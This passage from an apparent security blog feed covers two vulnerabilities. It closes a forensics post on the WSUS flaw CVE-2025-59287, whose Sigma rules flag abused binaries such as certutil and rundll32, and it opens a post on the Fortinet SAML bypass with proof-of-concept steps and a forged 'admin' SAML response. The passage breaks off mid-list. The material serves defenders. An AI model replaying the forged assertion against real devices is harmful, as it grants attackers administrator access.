    &lt;span class=&quot;na&quot;&gt;Provider_Name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Windows&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Server&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Update&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Services&apos;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;EventID&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;7053&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;Data|contains|all&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;System.InvalidCastException&apos;&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;System.Windows.Data.ObjectDataProvider&apos;&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Unable&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;cast&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;type&apos;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;condition&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;selection&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;falsepositives&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Unlikely&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;high&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;attack.execution&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;attack.initial-access&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;attack.t1190&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;attack.t1203&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;cve.2025-59287&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;detection.emerging-threats&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;WSUS Suspicious Child Process&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Exploitation Activity of CVE-2025-59287 - WSUS Suspicious Child Process&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;a8d4c3f1-xxxx-xxxx-xxxx-xxxxxxxxxxxx&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;experimental&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Detects suspicious child processes spawned by WSUS-related parent processes&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;references&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://unit42.paloaltonetworks.com/cve-2025-59287/&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;logsource&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;product&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;windows&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;process_creation&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;detection&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;selection&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ParentImage|endswith&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\w3wp.exe&apos;&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\wsusservice.exe&apos;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;Image|endswith&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\powershell.exe&apos;&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\cmd.exe&apos;&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\rundll32.exe&apos;&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\regsvr32.exe&apos;&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\certutil.exe&apos;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;condition&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;selection&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;falsepositives&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Legitimate administrative activity (low likelihood)&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;high&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;attack.execution&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;attack.t1059.001&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;attack.t1059.003&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;cve.2025-59287&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;network-based-detection&quot;&gt;Network-Based Detection&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Snort/Suricata Rules&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Snort 2 and Snort 3 both include GID 1, SID 65422 for detecting CVE-2025-59287 exploitation attempts. These signatures identify the specific SOAP request patterns used in exploitation.&lt;/p&gt;

&lt;p&gt;If you’re writing custom rules, look for:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Large POST requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ClientWebService/Client.asmx&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ReportWebService/ReportWebService.asmx&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;SOAP envelopes containing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;GetCookie&amp;gt;&lt;/code&gt; elements with unusually large &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;CookieData&amp;gt;&lt;/code&gt; sections&lt;/li&gt;
  &lt;li&gt;Base64 data patterns in HTTP POST bodies to WSUS endpoints&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Forensic Artifact Collection&lt;/strong&gt;:
    &lt;ul&gt;
      &lt;li&gt;Memory dump of WSUS server (if still running)&lt;/li&gt;
      &lt;li&gt;IIS logs (preserve before rotation)&lt;/li&gt;
      &lt;li&gt;Windows Event Logs (Security, System, Application)&lt;/li&gt;
      &lt;li&gt;Network flow data&lt;/li&gt;
      &lt;li&gt;EDR/XDR telemetry&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;long-term-security-posture&quot;&gt;Long-Term Security Posture&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Architecture Review&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;WSUS servers should never be internet-facing. Period. The widespread exploitation of CVE-2025-59287 was possible because thousands of WSUS instances were exposed to the public internet due to misconfigurations.&lt;/p&gt;

&lt;p&gt;Best practices:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;WSUS servers should be accessible only from internal management networks&lt;/li&gt;
  &lt;li&gt;Require VPN or jump host access for administrative access&lt;/li&gt;
  &lt;li&gt;Implement network segmentation with WSUS in a dedicated management VLAN&lt;/li&gt;
  &lt;li&gt;Use firewall rules to explicitly allow only necessary traffic&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;closing-assessment&quot;&gt;Closing Assessment&lt;/h2&gt;

&lt;p&gt;CVE-2025-59287 is a case study in how quickly things can go wrong. The vulnerability itself is straightforward: unsafe deserialization with .NET’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BinaryFormatter&lt;/code&gt;, a well-known dangerous pattern. The impact is severe: unauthenticated remote code execution as SYSTEM on a critical infrastructure component.&lt;/p&gt;

&lt;p&gt;But what makes this particularly painful is the timeline. Microsoft’s initial patch was incomplete. Exploitation began within hours of the corrective OOB patch being released, not because the patch was reverse-engineered, but because the PoC code was already public. By the time most organizations started their patch cycles, attackers had already begun reconnaissance on compromised systems.&lt;/p&gt;

&lt;p&gt;From a forensic perspective, this is one of those vulnerabilities where if you’re looking for evidence weeks later, you might find nothing. Memory-only execution, native binary abuse, and log rotation conspire to erase the evidence. The window for detection is narrow.&lt;/p&gt;

&lt;p&gt;The broader lesson? Infrastructure services designed for internal use must never be exposed to the internet. Configuration mistakes turn localized vulnerabilities into enterprise-wide disasters. WSUS, SCCM, VMware management interfaces, and similar systems are trusted implicitly by your environment. When they’re compromised, the blast radius is your entire infrastructure.&lt;/p&gt;

&lt;p&gt;If you run WSUS, patch now if you haven’t already. Hunt for compromise even if you think you patched in time. The attackers moved fast on this one.&lt;/p&gt;

&lt;p&gt;And maybe, just maybe, double-check what else you’ve got listening on 0.0.0.0.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Microsoft Security Response Center (MSRC), “CVE-2025-59287 - Windows Server Update Service (WSUS) Remote Code Execution Vulnerability,” https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;HawkTrace Security, “CVE-2025-59287 WSUS Remote Code Execution,” October 18, 2025, https://hawktrace.com/blog/CVE-2025-59287&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Palo Alto Networks Unit 42, “CVE-2025-59287 Exploitation Detected: Vulnerability in Windows Server Update Services Exploited in the Wild,” October 24, 2025, https://unit42.paloaltonetworks.com/cve-2025-59287/&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Huntress, “CISA Warns of Actively Exploited Windows WSUS Vulnerability (CVE-2025-59287),” October 24, 2025, https://www.huntress.com/blog/cisa-warns-of-actively-exploited-windows-wsus-vulnerability-cve-2025-59287&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Eye Security, “WSUS Vulnerability - CVE-2025-59287 - Technical Analysis &amp;amp; Detection,” October 24, 2025, https://eye.security/resources/wsus-cve-2025-59287&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Bitdefender, “CVE-2025-59287: Actively Exploited Windows Server Update Services Vulnerability,” October 25, 2025, https://www.bitdefender.com/blog/hotforsecurity/cve-2025-59287-actively-exploited-windows-server-update-services-vulnerability/&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Dutch National Cyber Security Centre (NCSC), “Kwetsbaarheden verholpen in Microsoft producten - oktober 2025,” October 23, 2025, https://www.ncsc.nl/actueel/advisory?id=NCSC-2025-0430&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Wed, 07 Jan 2026 00:00:00 +0000</pubDate>
        <link>https://danielgott.me/2026/01/07/wsus_cve2025-59287/</link>
        <guid isPermaLink="true">https://danielgott.me/2026/01/07/wsus_cve2025-59287/</guid>
        
        <category>CVE-2025-59287</category>
        
        <category>wsus</category>
        
        <category>forensics</category>
        
        <category>vulnerability</category>
        
      </item>
    
      <item>
        <title>Trust But Don&apos;t Verify (Forti CVE-2025-59718)</title>
        <description>&lt;p&gt;You know that feeling when you find out a critical enterprise security appliance will just accept any SAML response you throw at it, signature or not? Yeah, that’s where we are with CVE-2025-59718 and CVE-2025-59719. Fortinet dropped these two gems in December 2025, and within three days of disclosure, threat actors were already in production environments downloading config files like it was Black Friday.&lt;/p&gt;

&lt;p&gt;Let’s talk about what happens when you forget that cryptographic signatures exist for a reason.&lt;/p&gt;

&lt;h2 id=&quot;the-vulnerabilitys&quot;&gt;The Vulnerability(s)&lt;/h2&gt;

&lt;p&gt;CVE-2025-59718 and CVE-2025-59719 are essentially the same vulnerability affecting different Fortinet product lines. Both stem from improper verification of cryptographic signatures in SAML response messages used by FortiCloud Single Sign-On. In practical terms, these devices were accepting unsigned or improperly signed SAML assertions and handing out admin sessions like candy.&lt;/p&gt;

&lt;p&gt;The vulnerability is classified as CWE-347 (Improper Verification of Cryptographic Signature), and it’s about as straightforward as authentication bypasses get. If FortiCloud SSO is enabled, an attacker can craft a SAML response with whatever identity they want, send it to the device, and the device just says “yeah sure, you’re the admin now.”&lt;/p&gt;

&lt;p&gt;Both vulnerabilities carry a CVSS v3.1 score of 9.8, which tracks. Unauthenticated remote code execution to admin? That’s a critical any day of the week.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2025-59718&lt;/strong&gt; affects:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;FortiOS&lt;/li&gt;
  &lt;li&gt;FortiProxy&lt;/li&gt;
  &lt;li&gt;FortiSwitchManager&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CVE-2025-59719&lt;/strong&gt; affects:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;FortiWeb&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The root cause is identical - both involve the same signature verification failure in the SAML authentication flow, just implemented across different product codebases.&lt;/p&gt;

&lt;h2 id=&quot;timeline-the-speed-run&quot;&gt;Timeline: The Speed Run&lt;/h2&gt;

&lt;ul class=&quot;timeline&quot;&gt;
  &lt;li&gt;&lt;strong&gt;December 9, 2025&lt;/strong&gt;: Fortinet publishes advisory FG-IR-25-647 and releases patches. Credit goes to Fortinet’s internal team members Yonghui Han and Theo Leleu for the discovery.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;December 12, 2025&lt;/strong&gt;: Arctic Wolf starts observing active exploitation in the wild. Threat actors are already authenticating as admin via SSO and downloading system configuration files from compromised FortiGate appliances. That’s 72 hours from disclosure to widespread exploitation.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;December 16, 2025&lt;/strong&gt;: CISA adds CVE-2025-59718 to the Known Exploited Vulnerabilities catalog with a remediation deadline of December 23, 2025 - just seven days.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;December 17, 2025&lt;/strong&gt;: Rapid7 observes exploitation attempts against their honeypots. Public PoC code starts appearing on GitHub.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The weaponization window on this one was basically nonexistent. By the time most organizations even read the advisory, attackers were already in.&lt;/p&gt;

&lt;h2 id=&quot;affected-versions-and-patch-status&quot;&gt;Affected Versions and Patch Status&lt;/h2&gt;

&lt;p&gt;Here’s the damage report:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FortiOS:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Vulnerable: 7.0.0 through 7.0.17, 7.2.0 through 7.2.11, 7.4.0 through 7.4.8, 7.6.0 through 7.6.3&lt;/li&gt;
  &lt;li&gt;Fixed: Upgrade to 7.0.18, 7.2.12, 7.4.9, or 7.6.4 or later&lt;/li&gt;
  &lt;li&gt;Not affected: 6.4 branch&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;FortiProxy:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Vulnerable: 7.0.0 through 7.0.21, 7.2.0 through 7.2.14, 7.4.0 through 7.4.10, 7.6.0 through 7.6.3&lt;/li&gt;
  &lt;li&gt;Fixed: Upgrade to 7.0.22, 7.2.15, 7.4.11, or 7.6.4 or later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;FortiSwitchManager:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Vulnerable: 7.0.0 through 7.0.5, 7.2.0 through 7.2.6&lt;/li&gt;
  &lt;li&gt;Fixed: Upgrade to 7.0.6, 7.2.7, or later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;FortiWeb:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Vulnerable: 7.4.0 through 7.4.9, 7.6.0 through 7.6.4, 8.0.0&lt;/li&gt;
  &lt;li&gt;Fixed: Upgrade to 7.4.10, 7.6.5, 8.0.1, or later&lt;/li&gt;
  &lt;li&gt;Not affected: 7.0 and 7.2 branches&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;proof-of-concept-details&quot;&gt;Proof of Concept Details&lt;/h2&gt;

&lt;p&gt;The public PoC that surfaced on GitHub demonstrates exactly how trivial this exploitation is. The attack flow is dead simple:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Craft a SAML response with your chosen username (typically “admin”)&lt;/li&gt;
  &lt;li&gt;Include proper XML structure but skip the signature or include an invalid one&lt;/li&gt;
  &lt;li&gt;POST it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/remote/saml/login&lt;/code&gt; on the target device&lt;/li&gt;
  &lt;li&gt;Device accepts it without proper signature verification&lt;/li&gt;
  &lt;li&gt;You’re now authenticated as that user with full privileges&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The PoC includes functionality for:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Single target or bulk scanning&lt;/li&gt;
  &lt;li&gt;SAML token replay simulation&lt;/li&gt;
  &lt;li&gt;Automatic configuration file download via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/v2/monitor/system/config/backup&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Multi-threaded operation for mass exploitation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What makes this particularly nasty is that FortiCloud SSO is automatically enabled when administrators register devices to FortiCare via the GUI unless they explicitly disable it. Most admins never realized they were exposing this attack surface.&lt;/p&gt;

&lt;p&gt;The default factory setting has FortiCloud SSO disabled, but the moment you go through the registration workflow without unchecking that box, you’re vulnerable. This created a massive exposure across enterprise Fortinet deployments.&lt;/p&gt;

&lt;h2 id=&quot;technical-deep-dive-the-exploitation-mechanics&quot;&gt;Technical Deep Dive: The Exploitation Mechanics&lt;/h2&gt;

&lt;p&gt;Let’s get into the weeds of how this actually works.&lt;/p&gt;

&lt;p&gt;SAML (Security Assertion Markup Language) is an XML-based protocol for exchanging authentication and authorization data between an identity provider and a service provider. The entire security model depends on cryptographic signatures to ensure assertions haven’t been tampered with.&lt;/p&gt;

&lt;p&gt;In a proper SAML flow:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;User initiates authentication&lt;/li&gt;
  &lt;li&gt;Identity Provider (IdP) generates a SAML assertion&lt;/li&gt;
  &lt;li&gt;IdP signs the SAML response and/or assertion with its private key&lt;/li&gt;
  &lt;li&gt;Service Provider (SP) receives the SAML response&lt;/li&gt;
  &lt;li&gt;SP verifies the signature using IdP’s public certificate&lt;/li&gt;
  &lt;li&gt;If signature is valid, SP trusts the assertion and creates a session&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The vulnerability exists in step 5 - the signature verification. Fortinet’s FortiCloud SSO implementation was failing to properly validate that:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;A signature was present&lt;/li&gt;
  &lt;li&gt;The signature was cryptographically valid&lt;/li&gt;
  &lt;li&gt;The signature matched the expected IdP certificate&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This means an attacker could send a completely unsigned SAML response, or one signed with a bogus key, and the device would process it as legitimate.&lt;/p&gt;

&lt;p&gt;The SAML response structure attackers are exploiting looks something like this:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;samlp:Response&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns:samlp=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;saml:Assertion&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns:saml=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;saml:Subject&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;saml:NameID&amp;gt;&lt;/span&gt;admin&lt;span class=&quot;nt&quot;&gt;&amp;lt;/saml:NameID&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/saml:Subject&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;saml:AttributeStatement&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;saml:Attribute&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;saml:AttributeValue&amp;gt;&lt;/span&gt;admin&lt;span class=&quot;nt&quot;&gt;&amp;lt;/saml:AttributeValue&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/saml:Attribute&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/saml:AttributeStatement&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/saml:Assertion&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/samlp:Response&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The attacker controls the NameID and username fields. With no signature verification enforcing that these came from a legitimate IdP, you can just claim to be whoever you want.&lt;/p&gt;

&lt;p&gt;What’s particularly interesting is the fix. In FortiOS 7.2.12, 7.4.9, and 7.6.4, Fortinet added enforcement that SAML response messages must have valid signatures. They also added a configuration option in 7.6.5 to control whether both the response and assertion must be signed:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;config user saml
    edit &amp;lt;n&amp;gt;
        set require-signed-resp-and-asrt &amp;lt;enable | disable&amp;gt;
    next
end
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The default is enable, meaning both must be signed. This is the correct behavior that should have existed from day one.&lt;/p&gt;

&lt;p&gt;The patch essentially added the signature verification logic that was completely missing or broken. It now:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Checks that a signature element exists&lt;/li&gt;
  &lt;li&gt;Validates the signature cryptographically&lt;/li&gt;
  &lt;li&gt;Verifies it matches the configured IdP certificate&lt;/li&gt;
  &lt;li&gt;Rejects the SAML response if any check fails&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;forensic-data-collection&quot;&gt;Forensic Data Collection&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;If virtual Forti –&amp;gt; Export the VMDK&lt;/li&gt;
  &lt;li&gt;If baremetal –&amp;gt; Contact FortiSupport and request assistance. Will likely need to ship the device back to Forti for the image (We’ve seen success doing this)&lt;/li&gt;
  &lt;li&gt;Try some Forti triage commands –&amp;gt; &lt;a href=&quot;https://gist.github.com/gottlabs/4fdc425bd8c50944e9a5c67806d7639c&quot;&gt;Secret gist&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Revert the Forti version and exploit it yourself to get a root session –&amp;gt; Generate a forensic image using your choice of dd* and collect memory using avml&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;forensic-considerations-and-limitations&quot;&gt;Forensic Considerations and Limitations&lt;/h2&gt;

&lt;p&gt;Here’s where things get dicey from an incident response perspective: this attack leaves minimal forensic evidence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What you WILL see:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Successful admin login events via SSO method&lt;/li&gt;
  &lt;li&gt;Log entries showing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;method=&quot;sso&quot;&lt;/code&gt; authentication&lt;/li&gt;
  &lt;li&gt;GUI actions performed by the admin user&lt;/li&gt;
  &lt;li&gt;Configuration file downloads if the attacker exfiltrated configs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What you WON’T see:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Evidence of the malicious SAML payload itself (not logged)&lt;/li&gt;
  &lt;li&gt;Failed authentication attempts (successful bypass on first try)&lt;/li&gt;
  &lt;li&gt;Source of the SAML forgery (appears as legitimate SSO)&lt;/li&gt;
